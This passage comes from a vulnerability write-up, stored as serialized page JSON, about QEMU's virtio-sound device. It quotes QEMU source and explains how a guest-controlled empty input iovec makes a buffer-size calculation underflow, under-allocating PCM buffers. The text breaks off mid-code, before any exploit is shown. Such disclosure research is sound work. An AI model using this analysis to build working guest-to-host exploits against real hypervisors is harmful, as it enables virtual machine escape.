vq;\n",{"type":24,"tag":930,"props":126674,"children":126675},{"class":932,"line":1692},[126676,126680,126684,126689,126693,126697],{"type":24,"tag":930,"props":126677,"children":126678},{"style":1023},[126679],{"type":30,"value":126631},{"type":24,"tag":930,"props":126681,"children":126682},{"style":959},[126683],{"type":30,"value":16864},{"type":24,"tag":930,"props":126685,"children":126686},{"style":1023},[126687],{"type":30,"value":126688},"size",{"type":24,"tag":930,"props":126690,"children":126691},{"style":1158},[126692],{"type":30,"value":6137},{"type":24,"tag":930,"props":126694,"children":126695},{"style":1242},[126696],{"type":30,"value":1245},{"type":24,"tag":930,"props":126698,"children":126699},{"style":959},[126700],{"type":30,"value":5539},{"type":24,"tag":930,"props":126702,"children":126703},{"class":932,"line":1730},[126704,126708,126712,126716,126720,126724],{"type":24,"tag":930,"props":126705,"children":126706},{"style":1023},[126707],{"type":30,"value":126631},{"type":24,"tag":930,"props":126709,"children":126710},{"style":959},[126711],{"type":30,"value":16864},{"type":24,"tag":930,"props":126713,"children":126714},{"style":1023},[126715],{"type":30,"value":17008},{"type":24,"tag":930,"props":126717,"children":126718},{"style":1158},[126719],{"type":30,"value":6137},{"type":24,"tag":930,"props":126721,"children":126722},{"style":1242},[126723],{"type":30,"value":1245},{"type":24,"tag":930,"props":126725,"children":126726},{"style":959},[126727],{"type":30,"value":5539},{"type":24,"tag":930,"props":126729,"children":126730},{"class":932,"line":1762},[126731,126736,126740,126744,126748,126752,126757,126762],{"type":24,"tag":930,"props":126732,"children":126733},{"style":1002},[126734],{"type":30,"value":126735},"            QSIMPLEQ_INSERT_TAIL",{"type":24,"tag":930,"props":126737,"children":126738},{"style":959},[126739],{"type":30,"value":1010},{"type":24,"tag":930,"props":126741,"children":126742},{"style":1158},[126743],{"type":30,"value":6230},{"type":24,"tag":930,"props":126745,"children":126746},{"style":1023},[126747],{"type":30,"value":39349},{"type":24,"tag":930,"props":126749,"children":126750},{"style":959},[126751],{"type":30,"value":16864},{"type":24,"tag":930,"props":126753,"children":126754},{"style":1023},[126755],{"type":30,"value":126756},"queue",{"type":24,"tag":930,"props":126758,"children":126759},{"style":959},[126760],{"type":30,"value":126761},", buffer, entry);",{"type":24,"tag":930,"props":126763,"children":126764},{"style":1422},[126765],{"type":30,"value":55718},{"type":24,"tag":930,"props":126767,"children":126768},{"class":932,"line":1775},[126769],{"type":24,"tag":930,"props":126770,"children":126771},{"style":959},[126772],{"type":30,"value":1831},{"type":24,"tag":930,"props":126774,"children":126775},{"class":932,"line":1825},[126776,126781],{"type":24,"tag":930,"props":126777,"children":126778},{"style":1079},[126779],{"type":30,"value":126780},"        continue",{"type":24,"tag":930,"props":126782,"children":126783},{"style":959},[126784],{"type":30,"value":5539},{"type":24,"tag":930,"props":126786,"children":126787},{"class":932,"line":1834},[126788],{"type":24,"tag":930,"props":126789,"children":126790},{"emptyLinePlaceholder":16},[126791],{"type":30,"value":2412},{"type":24,"tag":930,"props":126793,"children":126794},{"class":932,"line":1843},[126795],{"type":24,"tag":930,"props":126796,"children":126797},{"style":959},[126798],{"type":30,"value":126467},{"type":24,"tag":930,"props":126800,"children":126801},{"class":932,"line":1851},[126802],{"type":24,"tag":930,"props":126803,"children":126804},{"style":959},[126805],{"type":30,"value":2528},{"type":24,"tag":33,"props":126807,"children":126808},{},[126809,126811,126817,126819,126825,126827,126832,126833,126839],{"type":30,"value":126810},"At ",{"type":24,"tag":156,"props":126812,"children":126814},{"className":126813},[],[126815],{"type":30,"value":126816},"[1]",{"type":30,"value":126818},", a ",{"type":24,"tag":156,"props":126820,"children":126822},{"className":126821},[],[126823],{"type":30,"value":126824},"VirtQueueElement *elem",{"type":30,"value":126826}," is popped from the virtqueue. It contains the ",{"type":24,"tag":156,"props":126828,"children":126830},{"className":126829},[],[126831],{"type":30,"value":126541},{"type":30,"value":211},{"type":24,"tag":156,"props":126834,"children":126836},{"className":126835},[],[126837],{"type":30,"value":126838},"out_sg",{"type":30,"value":126840}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":24,"tag":33,"props":126842,"children":126843},{},[126844,126846,126852,126854,126860,126862,126868,126870,126876,126878,126884],{"type":30,"value":126845},"Further at ",{"type":24,"tag":156,"props":126847,"children":126849},{"className":126848},[],[126850],{"type":30,"value":126851},"[2]",{"type":30,"value":126853},", the device computes the size of the data buffer as ",{"type":24,"tag":156,"props":126855,"children":126857},{"className":126856},[],[126858],{"type":30,"value":126859},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":30,"value":126861},". That value is then used in the allocation: ",{"type":24,"tag":156,"props":126863,"children":126865},{"className":126864},[],[126866],{"type":30,"value":126867},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":30,"value":126869},". Finally, at ",{"type":24,"tag":156,"props":126871,"children":126873},{"className":126872},[],[126874],{"type":30,"value":126875},"[3]",{"type":30,"value":126877},", the newly allocated buffer is appended to the ",{"type":24,"tag":156,"props":126879,"children":126881},{"className":126880},[],[126882],{"type":30,"value":126883},"stream->queue",{"type":30,"value":126885}," linked list.",{"type":24,"tag":33,"props":126887,"children":126888},{},[126889,126891,126896,126898,126903,126905,126910,126912,126918],{"type":30,"value":126890},"Because both the ",{"type":24,"tag":156,"props":126892,"children":126894},{"className":126893},[],[126895],{"type":30,"value":126541},{"type":30,"value":126897}," iovec and the ",{"type":24,"tag":156,"props":126899,"children":126901},{"className":126900},[],[126902],{"type":30,"value":126558},{"type":30,"value":126904}," field are guest-controlled, and there is no check that the total ",{"type":24,"tag":156,"props":126906,"children":126908},{"className":126907},[],[126909],{"type":30,"value":126541},{"type":30,"value":126911}," size is at least ",{"type":24,"tag":156,"props":126913,"children":126915},{"className":126914},[],[126916],{"type":30,"value":126917},"sizeof(virtio_snd_pcm_status)",{"type":30,"value":126919},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":24,"tag":33,"props":126921,"children":126922},{},[126923,126925,126930,126932,126938,126940,126946,126948,126954],{"type":30,"value":126924},"From the guest driver, we can provide an empty ",{"type":24,"tag":156,"props":126926,"children":126928},{"className":126927},[],[126929],{"type":30,"value":126541},{"type":30,"value":126931}," iovec. In that case, the calculation becomes ",{"type":24,"tag":156,"props":126933,"children":126935},{"className":126934},[],[126936],{"type":30,"value":126937},"0 - sizeof(virtio_snd_pcm_status)",{"type":30,"value":126939},", so the allocation size effectively becomes ",{"type":24,"tag":156,"props":126941,"children":126943},{"className":126942},[],[126944],{"type":30,"value":126945},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":30,"value":126947},". Given the definition of ",{"type":24,"tag":156,"props":126949,"children":126951},{"className":126950},[],[126952],{"type":30,"value":126953},"VirtIOSoundPCMBuffer",{"type":30,"value":476},{"type":24,"tag":920,"props":126956,"children":126958},{"code":126957,"language":6268,"meta":7,"className":19616,"style":7},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    VirtQueueElement *elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[126959],{"type":24,"tag":156,"props":126960,"children":126961},{"__ignoreMap":7},[126962,126974,126987,127002,127019,127031,127043,127051,127063,127083],{"type":24,"tag":930,"props":126963,"children":126964},{"class":932,"line":933},[126965,126969],{"type":24,"tag":930,"props":126966,"children":126967},{"style":937},[126968],{"type":30,"value":12509},{"type":24,"tag":930,"props":126970,"children":126971},{"style":959},[126972],{"type":30,"value":126973}," VirtIOSoundPCMBuffer {\n",{"type":24,"tag":930,"props":126975,"children":126976},{"class":932,"line":984},[126977,126982],{"type":24,"tag":930,"props":126978,"children":126979},{"style":1002},[126980],{"type":30,"value":126981},"    QSIMPLEQ_ENTRY",{"type":24,"tag":930,"props":126983,"children":126984},{"style":959},[126985],{"type":30,"value":126986},"(VirtIOSoundPCMBuffer) entry;\n",{"type":24,"tag":930,"props":126988,"children":126989},{"class":932,"line":993},[126990,126994,126998],{"type":24,"tag":930,"props":126991,"children":126992},{"style":959},[126993],{"type":30,"value":126319},{"type":24,"tag":930,"props":126995,"children":126996},{"style":1158},[126997],{"type":30,"value":1410},{"type":24,"tag":930,"props":126999,"children":127000},{"style":959},[127001],{"type":30,"value":126328},{"type":24,"tag":930,"props":127003,"children":127004},{"class":932,"line":1057},[127005,127010,127014],{"type":24,"tag":930,"props":127006,"children":127007},{"style":959},[127008],{"type":30,"value":127009},"    VirtQueue ",{"type":24,"tag":930,"props":127011,"children":127012},{"style":1158},[127013],{"type":30,"value":1410},{"type":24,"tag":930,"props":127015,"children":127016},{"style":959},[127017],{"type":30,"value":127018},"vq;\n",{"type":24,"tag":930,"props":127020,"children":127021},{"class":932,"line":1066},[127022,127026],{"type":24,"tag":930,"props":127023,"children":127024},{"style":937},[127025],{"type":30,"value":19666},{"type":24,"tag":930,"props":127027,"children":127028},{"style":959},[127029],{"type":30,"value":127030}," size;\n",{"type":24,"tag":930,"props":127032,"children":127033},{"class":932,"line":1075},[127034,127038],{"type":24,"tag":930,"props":127035,"children":127036},{"style":937},[127037],{"type":30,"value":58702},{"type":24,"tag":930,"props":127039,"children":127040},{"style":959},[127041],{"type":30,"value":127042}," offset;\n",{"type":24,"tag":930,"props":127044,"children":127045},{"class":932,"line":1122},[127046],{"type":24,"tag":930,"props":127047,"children":127048},{"style":1422},[127049],{"type":30,"value":127050},"    /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":24,"tag":930,"props":127052,"children":127053},{"class":932,"line":1131},[127054,127058],{"type":24,"tag":930,"props":127055,"children":127056},{"style":937},[127057],{"type":30,"value":49563},{"type":24,"tag":930,"props":127059,"children":127060},{"style":959},[127061],{"type":30,"value":127062}," populated;\n",{"type":24,"tag":930,"props":127064,"children":127065},{"class":932,"line":1144},[127066,127070,127074,127079],{"type":24,"tag":930,"props":127067,"children":127068},{"style":937},[127069],{"type":30,"value":61546},{"type":24,"tag":930,"props":127071,"children":127072},{"style":959},[127073],{"type":30,"value":18208},{"type":24,"tag":930,"props":127075,"children":127076},{"style":937},[127077],{"type":30,"value":127078},"[]",{"type":24,"tag":930,"props":127080,"children":127081},{"style":959},[127082],{"type":30,"value":5539},{"type":24,"tag":930,"props":127084,"children":127085},{"class":932,"line":1169},[127086],{"type":24,"tag":930,"props":127087,"children":127088},{"style":959},[127089],{"type":30,"value":19679},{"type":24,"tag":33,"props":127091,"children":127092},{},[127093,127095,127101,127103,127108,127110,127115,127117,127122,127124,127129,127131,127137],{"type":30,"value":127094},"That under-allocation removes the ",{"type":24,"tag":156,"props":127096,"children":127098},{"className":127097},[],[127099],{"type":30,"value":127100},"populated",{"type":30,"value":127102}," field along with the variable-sized ",{"type":24,"tag":156,"props":127104,"children":127106},{"className":127105},[],[127107],{"type":30,"value":6817},{"type":30,"value":127109}," array. As the comment says, ",{"type":24,"tag":156,"props":127111,"children":127113},{"className":127112},[],[127114],{"type":30,"value":127100},{"type":30,"value":127116}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":24,"tag":156,"props":127118,"children":127120},{"className":127119},[],[127121],{"type":30,"value":7129},{"type":30,"value":127123},", the device believes data should be ",{"type":24,"tag":156,"props":127125,"children":127127},{"className":127126},[],[127128],{"type":30,"value":7129},{"type":30,"value":127130}," byte, while the actual allocation is ",{"type":24,"tag":156,"props":127132,"children":127134},{"className":127133},[],[127135],{"type":30,"value":127136},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":30,"value":436},{"type":24,"tag":21995,"props":127139,"children":127141},{"id":127140},"populating-data-buffers",[127142],{"type":30,"value":127143},"Populating Data Buffers",{"type":24,"tag":33,"props":127145,"children":127146},{},[127147],{"type":30,"value":127148},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":24,"tag":920,"props":127150,"children":127152},{"code":127151,"language":6268,"meta":7,"className":19616,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    }\n}\n",[127153],{"type":24,"tag":156,"props":127154,"children":127155},{"__ignoreMap":7},[127156,127163,127171,127178,127186,127194,127201,127250,127257,127283,127300,127312,127319,127351,127396,127436,127443,127451,127458,127483,127511,127535,127543,127555,127593,127606,127618,127625,127671,127708,127751,127772,127792,127812,127823,127830,127853,127869,127877,127884,127891,127898],{"type":24,"tag":930,"props":127157,"children":127158},{"class":932,"line":933},[127159],{"type":24,"tag":930,"props":127160,"children":127161},{"style":1422},[127162],{"type":30,"value":52455},{"type":24,"tag":930,"props":127164,"children":127165},{"class":932,"line":984},[127166],{"type":24,"tag":930,"props":127167,"children":127168},{"style":1422},[127169],{"type":30,"value":127170}," * AUD_* input callback.\n",{"type":24,"tag":930,"props":127172,"children":127173},{"class":932,"line":993},[127174],{"type":24,"tag":930,"props":127175,"children":127176},{"style":1422},[127177],{"type":30,"value":22591},{"type":24,"tag":930,"props":127179,"children":127180},{"class":932,"line":1057},[127181],{"type":24,"tag":930,"props":127182,"children":127183},{"style":1422},[127184],{"type":30,"value":127185}," * @data: VirtIOSoundPCMStream stream\n",{"type":24,"tag":930,"props":127187,"children":127188},{"class":932,"line":1066},[127189],{"type":24,"tag":930,"props":127190,"children":127191},{"style":1422},[127192],{"type":30,"value":127193}," * @available: number of bytes that can be read with AUD_read()\n",{"type":24,"tag":930,"props":127195,"children":127196},{"class":932,"line":1075},[127197],{"type":24,"tag":930,"props":127198,"children":127199},{"style":1422},[127200],{"type":30,"value":126256},{"type":24,"tag":930,"props":127202,"children":127203},{"class":932,"line":1122},[127204,127208,127212,127217,127221,127225,127229,127233,127237,127241,127246],{"type":24,"tag":930,"props":127205,"children":127206},{"style":937},[127207],{"type":30,"value":54133},{"type":24,"tag":930,"props":127209,"children":127210},{"style":937},[127211],{"type":30,"value":54138},{"type":24,"tag":930,"props":127213,"children":127214},{"style":1002},[127215],{"type":30,"value":127216}," virtio_snd_pcm_in_cb",{"type":24,"tag":930,"props":127218,"children":127219},{"style":959},[127220],{"type":30,"value":1010},{"type":24,"tag":930,"props":127222,"children":127223},{"style":937},[127224],{"type":30,"value":54716},{"type":24,"tag":930,"props":127226,"children":127227},{"style":1158},[127228],{"type":30,"value":12924},{"type":24,"tag":930,"props":127230,"children":127231},{"style":1023},[127232],{"type":30,"value":6817},{"type":24,"tag":930,"props":127234,"children":127235},{"style":959},[127236],{"type":30,"value":962},{"type":24,"tag":930,"props":127238,"children":127239},{"style":937},[127240],{"type":30,"value":22149},{"type":24,"tag":930,"props":127242,"children":127243},{"style":1023},[127244],{"type":30,"value":127245}," available",{"type":24,"tag":930,"props":127247,"children":127248},{"style":959},[127249],{"type":30,"value":1054},{"type":24,"tag":930,"props":127251,"children":127252},{"class":932,"line":1131},[127253],{"type":24,"tag":930,"props":127254,"children":127255},{"style":959},[127256],{"type":30,"value":13987},{"type":24,"tag":930,"props":127258,"children":127259},{"class":932,"line":1144},[127260,127265,127269,127274,127278],{"type":24,"tag":930,"props":127261,"children":127262},{"style":959},[127263],{"type":30,"value":127264},"    VirtIOSoundPCMStream ",{"type":24,"tag":930,"props":127266,"children":127267},{"style":1158},[127268],{"type":30,"value":1410},{"type":24,"tag":930,"props":127270,"children":127271},{"style":959},[127272],{"type":30,"value":127273},"stream ",{"type":24,"tag":930,"props":127275,"children":127276},{"style":1158},[127277],{"type":30,"value":1161},{"type":24,"tag":930,"props":127279,"children":127280},{"style":959},[127281],{"type":30,"value":127282}," data;\n",{"type":24,"tag":930,"props":127284,"children":127285},{"class":932,"line":1169},[127286,127291,127295],{"type":24,"tag":930,"props":127287,"children":127288},{"style":959},[127289],{"type":30,"value":127290},"    VirtIOSoundPCMBuffer ",{"type":24,"tag":930,"props":127292,"children":127293},{"style":1158},[127294],{"type":30,"value":1410},{"type":24,"tag":930,"props":127296,"children":127297},{"style":959},[127298],{"type":30,"value":127299},"buffer;\n",{"type":24,"tag":930,"props":127301,"children":127302},{"class":932,"line":1191},[127303,127307],{"type":24,"tag":930,"props":127304,"children":127305},{"style":937},[127306],{"type":30,"value":19666},{"type":24,"tag":930,"props":127308,"children":127309},{"style":959},[127310],{"type":30,"value":127311}," size, max_size;\n",{"type":24,"tag":930,"props":127313,"children":127314},{"class":932,"line":1223},[127315],{"type":24,"tag":930,"props":127316,"children":127317},{"emptyLinePlaceholder":16},[127318],{"type":30,"value":2412},{"type":24,"tag":930,"props":127320,"children":127321},{"class":932,"line":1281},[127322,127327,127331,127335,127339,127343,127347],{"type":24,"tag":930,"props":127323,"children":127324},{"style":1002},[127325],{"type":30,"value":127326},"    WITH_QEMU_LOCK_GUARD",{"type":24,"tag":930,"props":127328,"children":127329},{"style":959},[127330],{"type":30,"value":1010},{"type":24,"tag":930,"props":127332,"children":127333},{"style":1158},[127334],{"type":30,"value":6230},{"type":24,"tag":930,"props":127336,"children":127337},{"style":1023},[127338],{"type":30,"value":39349},{"type":24,"tag":930,"props":127340,"children":127341},{"style":959},[127342],{"type":30,"value":16864},{"type":24,"tag":930,"props":127344,"children":127345},{"style":1023},[127346],{"type":30,"value":126503},{"type":24,"tag":930,"props":127348,"children":127349},{"style":959},[127350],{"type":30,"value":1503},{"type":24,"tag":930,"props":127352,"children":127353},{"class":932,"line":1313},[127354,127359,127363,127367,127372,127376,127380,127384,127388,127392],{"type":24,"tag":930,"props":127355,"children":127356},{"style":1079},[127357],{"type":30,"value":127358},"        while",{"type":24,"tag":930,"props":127360,"children":127361},{"style":959},[127362],{"type":30,"value":1087},{"type":24,"tag":930,"props":127364,"children":127365},{"style":1158},[127366],{"type":30,"value":3299},{"type":24,"tag":930,"props":127368,"children":127369},{"style":1002},[127370],{"type":30,"value":127371},"QSIMPLEQ_EMPTY",{"type":24,"tag":930,"props":127373,"children":127374},{"style":959},[127375],{"type":30,"value":1010},{"type":24,"tag":930,"props":127377,"children":127378},{"style":1158},[127379],{"type":30,"value":6230},{"type":24,"tag":930,"props":127381,"children":127382},{"style":1023},[127383],{"type":30,"value":39349},{"type":24,"tag":930,"props":127385,"children":127386},{"style":959},[127387],{"type":30,"value":16864},{"type":24,"tag":930,"props":127389,"children":127390},{"style":1023},[127391],{"type":30,"value":126756},{"type":24,"tag":930,"props":127393,"children":127394},{"style":959},[127395],{"type":30,"value":4542},{"type":24,"tag":930,"props":127397,"children":127398},{"class":932,"line":1335},[127399,127403,127407,127412,127416,127420,127424,127428,127432],{"type":24,"tag":930,"props":127400,"children":127401},{"style":959},[127402],{"type":30,"value":126592},{"type":24,"tag":930,"props":127404,"children":127405},{"style":1158},[127406],{"type":30,"value":1161},{"type":24,"tag":930,"props":127408,"children":127409},{"style":1002},[127410],{"type":30,"value":127411}," QSIMPLEQ_FIRST",{"type":24,"tag":930,"props":127413,"children":127414},{"style":959},[127415],{"type":30,"value":1010},{"type":24,"tag":930,"props":127417,"children":127418},{"style":1158},[127419],{"type":30,"value":6230},{"type":24,"tag":930,"props":127421,"children":127422},{"style":1023},[127423],{"type":30,"value":39349},{"type":24,"tag":930,"props":127425,"children":127426},{"style":959},[127427],{"type":30,"value":16864},{"type":24,"tag":930,"props":127429,"children":127430},{"style":1023},[127431],{"type":30,"value":126756},{"type":24,"tag":930,"props":127433,"children":127434},{"style":959},[127435],{"type":30,"value":1278},{"type":24,"tag":930,"props":127437,"children":127438},{"class":932,"line":1376},[127439],{"type":24,"tag":930,"props":127440,"children":127441},{"emptyLinePlaceholder":16},[127442],{"type":30,"value":2412},{"type":24,"tag":930,"props":127444,"children":127445},{"class":932,"line":1418},[127446],{"type":24,"tag":930,"props":127447,"children":127448},{"style":959},[127449],{"type":30,"value":127450},"            [...]\n",{"type":24,"tag":930,"props":127452,"children":127453},{"class":932,"line":1438},[127454],{"type":24,"tag":930,"props":127455,"children":127456},{"emptyLinePlaceholder":16},[127457],{"type":30,"value":2412},{"type":24,"tag":930,"props":127459,"children":127460},{"class":932,"line":1479},[127461,127466,127470,127474,127478],{"type":24,"tag":930,"props":127462,"children":127463},{"style":959},[127464],{"type":30,"value":127465},"            max_size ",{"type":24,"tag":930,"props":127467,"children":127468},{"style":1158},[127469],{"type":30,"value":1161},{"type":24,"tag":930,"props":127471,"children":127472},{"style":1002},[127473],{"type":30,"value":126524},{"type":24,"tag":930,"props":127475,"children":127476},{"style":959},[127477],{"type":30,"value":1010},{"type":24,"tag":930,"props":127479,"children":127480},{"style":1422},[127481],{"type":30,"value":127482},"                    // [1]\n",{"type":24,"tag":930,"props":127484,"children":127485},{"class":932,"line":1506},[127486,127491,127495,127499,127503,127507],{"type":24,"tag":930,"props":127487,"children":127488},{"style":1023},[127489],{"type":30,"value":127490},"                buffer",{"type":24,"tag":930,"props":127492,"children":127493},{"style":959},[127494],{"type":30,"value":16864},{"type":24,"tag":930,"props":127496,"children":127497},{"style":1023},[127498],{"type":30,"value":55153},{"type":24,"tag":930,"props":127500,"children":127501},{"style":959},[127502],{"type":30,"value":16864},{"type":24,"tag":930,"props":127504,"children":127505},{"style":1023},[127506],{"type":30,"value":126541},{"type":24,"tag":930,"props":127508,"children":127509},{"style":959},[127510],{"type":30,"value":2832},{"type":24,"tag":930,"props":127512,"children":127513},{"class":932,"line":1525},[127514,127518,127522,127526,127530],{"type":24,"tag":930,"props":127515,"children":127516},{"style":1023},[127517],{"type":30,"value":127490},{"type":24,"tag":930,"props":127519,"children":127520},{"style":959},[127521],{"type":30,"value":16864},{"type":24,"tag":930,"props":127523,"children":127524},{"style":1023},[127525],{"type":30,"value":55153},{"type":24,"tag":930,"props":127527,"children":127528},{"style":959},[127529],{"type":30,"value":16864},{"type":24,"tag":930,"props":127531,"children":127532},{"style":1023},[127533],{"type":30,"value":127534},"in_num\n",{"type":24,"tag":930,"props":127536,"children":127537},{"class":932,"line":1569},[127538],{"type":24,"tag":930,"props":127539,"children":127540},{"style":959},[127541],{"type":30,"value":127542},"            );\n",{"type":24,"tag":930,"props":127544,"children":127545},{"class":932,"line":1592},[127546,127551],{"type":24,"tag":930,"props":127547,"children":127548},{"style":1079},[127549],{"type":30,"value":127550},"            for",{"type":24,"tag":930,"props":127552,"children":127553},{"style":959},[127554],{"type":30,"value":126354},{"type":24,"tag":930,"props":127556,"children":127557},{"class":932,"line":1610},[127558,127562,127566,127571,127575,127579,127583,127588],{"type":24,"tag":930,"props":127559,"children":127560},{"style":1079},[127561],{"type":30,"value":1575},{"type":24,"tag":930,"props":127563,"children":127564},{"style":959},[127565],{"type":30,"value":1087},{"type":24,"tag":930,"props":127567,"children":127568},{"style":1023},[127569],{"type":30,"value":127570},"buffer",{"type":24,"tag":930,"props":127572,"children":127573},{"style":959},[127574],{"type":30,"value":16864},{"type":24,"tag":930,"props":127576,"children":127577},{"style":1023},[127578],{"type":30,"value":126688},{"type":24,"tag":930,"props":127580,"children":127581},{"style":1158},[127582],{"type":30,"value":11411},{"type":24,"tag":930,"props":127584,"children":127585},{"style":959},[127586],{"type":30,"value":127587}," max_size) {",{"type":24,"tag":930,"props":127589,"children":127590},{"style":1422},[127591],{"type":30,"value":127592},"     // [2]\n",{"type":24,"tag":930,"props":127594,"children":127595},{"class":932,"line":1628},[127596,127601],{"type":24,"tag":930,"props":127597,"children":127598},{"style":1002},[127599],{"type":30,"value":127600},"                    return_rx_buffer",{"type":24,"tag":930,"props":127602,"children":127603},{"style":959},[127604],{"type":30,"value":127605},"(stream, buffer);\n",{"type":24,"tag":930,"props":127607,"children":127608},{"class":932,"line":1637},[127609,127614],{"type":24,"tag":930,"props":127610,"children":127611},{"style":1079},[127612],{"type":30,"value":127613},"                    break",{"type":24,"tag":930,"props":127615,"children":127616},{"style":959},[127617],{"type":30,"value":5539},{"type":24,"tag":930,"props":127619,"children":127620},{"class":932,"line":1646},[127621],{"type":24,"tag":930,"props":127622,"children":127623},{"style":959},[127624],{"type":30,"value":1634},{"type":24,"tag":930,"props":127626,"children":127627},{"class":932,"line":1673},[127628,127633,127637,127642,127646,127650,127654,127659,127663,127667],{"type":24,"tag":930,"props":127629,"children":127630},{"style":959},[127631],{"type":30,"value":127632},"                size ",{"type":24,"tag":930,"props":127634,"children":127635},{"style":1158},[127636],{"type":30,"value":1161},{"type":24,"tag":930,"props":127638,"children":127639},{"style":1002},[127640],{"type":30,"value":127641}," AUD_read",{"type":24,"tag":930,"props":127643,"children":127644},{"style":959},[127645],{"type":30,"value":1010},{"type":24,"tag":930,"props":127647,"children":127648},{"style":1023},[127649],{"type":30,"value":39349},{"type":24,"tag":930,"props":127651,"children":127652},{"style":959},[127653],{"type":30,"value":16864},{"type":24,"tag":930,"props":127655,"children":127656},{"style":1023},[127657],{"type":30,"value":127658},"voice",{"type":24,"tag":930,"props":127660,"children":127661},{"style":959},[127662],{"type":30,"value":436},{"type":24,"tag":930,"props":127664,"children":127665},{"style":1023},[127666],{"type":30,"value":98563},{"type":24,"tag":930,"props":127668,"children":127669},{"style":959},[127670],{"type":30,"value":2832},{"type":24,"tag":930,"props":127672,"children":127673},{"class":932,"line":1692},[127674,127679,127683,127687,127691,127696,127700,127704],{"type":24,"tag":930,"props":127675,"children":127676},{"style":1023},[127677],{"type":30,"value":127678},"                        buffer",{"type":24,"tag":930,"props":127680,"children":127681},{"style":959},[127682],{"type":30,"value":16864},{"type":24,"tag":930,"props":127684,"children":127685},{"style":1023},[127686],{"type":30,"value":6817},{"type":24,"tag":930,"props":127688,"children":127689},{"style":1158},[127690],{"type":30,"value":12014},{"type":24,"tag":930,"props":127692,"children":127693},{"style":1023},[127694],{"type":30,"value":127695}," buffer",{"type":24,"tag":930,"props":127697,"children":127698},{"style":959},[127699],{"type":30,"value":16864},{"type":24,"tag":930,"props":127701,"children":127702},{"style":1023},[127703],{"type":30,"value":126688},{"type":24,"tag":930,"props":127705,"children":127706},{"style":959},[127707],{"type":30,"value":2832},{"type":24,"tag":930,"props":127709,"children":127710},{"class":932,"line":1730},[127711,127716,127721,127725,127729,127733,127737,127742,127746],{"type":24,"tag":930,"props":127712,"children":127713},{"style":1002},[127714],{"type":30,"value":127715},"                        MIN",{"type":24,"tag":930,"props":127717,"children":127718},{"style":959},[127719],{"type":30,"value":127720},"(available, (",{"type":24,"tag":930,"props":127722,"children":127723},{"style":1023},[127724],{"type":30,"value":39349},{"type":24,"tag":930,"props":127726,"children":127727},{"style":959},[127728],{"type":30,"value":16864},{"type":24,"tag":930,"props":127730,"children":127731},{"style":1023},[127732],{"type":30,"value":101346},{"type":24,"tag":930,"props":127734,"children":127735},{"style":959},[127736],{"type":30,"value":436},{"type":24,"tag":930,"props":127738,"children":127739},{"style":1023},[127740],{"type":30,"value":127741},"period_bytes",{"type":24,"tag":930,"props":127743,"children":127744},{"style":1158},[127745],{"type":30,"value":54344},{"type":24,"tag":930,"props":127747,"children":127748},{"style":1422},[127749],{"type":30,"value":127750},"     // [3]\n",{"type":24,"tag":930,"props":127752,"children":127753},{"class":932,"line":1762},[127754,127759,127763,127767],{"type":24,"tag":930,"props":127755,"children":127756},{"style":1023},[127757],{"type":30,"value":127758},"                                        buffer",{"type":24,"tag":930,"props":127760,"children":127761},{"style":959},[127762],{"type":30,"value":16864},{"type":24,"tag":930,"props":127764,"children":127765},{"style":1023},[127766],{"type":30,"value":126688},{"type":24,"tag":930,"props":127768,"children":127769},{"style":959},[127770],{"type":30,"value":127771},")));\n",{"type":24,"tag":930,"props":127773,"children":127774},{"class":932,"line":1775},[127775,127779,127783,127787],{"type":24,"tag":930,"props":127776,"children":127777},{"style":1079},[127778],{"type":30,"value":1575},{"type":24,"tag":930,"props":127780,"children":127781},{"style":959},[127782],{"type":30,"value":1087},{"type":24,"tag":930,"props":127784,"children":127785},{"style":1158},[127786],{"type":30,"value":3299},{"type":24,"tag":930,"props":127788,"children":127789},{"style":959},[127790],{"type":30,"value":127791},"size) {\n",{"type":24,"tag":930,"props":127793,"children":127794},{"class":932,"line":1825},[127795,127800,127804,127808],{"type":24,"tag":930,"props":127796,"children":127797},{"style":959},[127798],{"type":30,"value":127799},"                    available 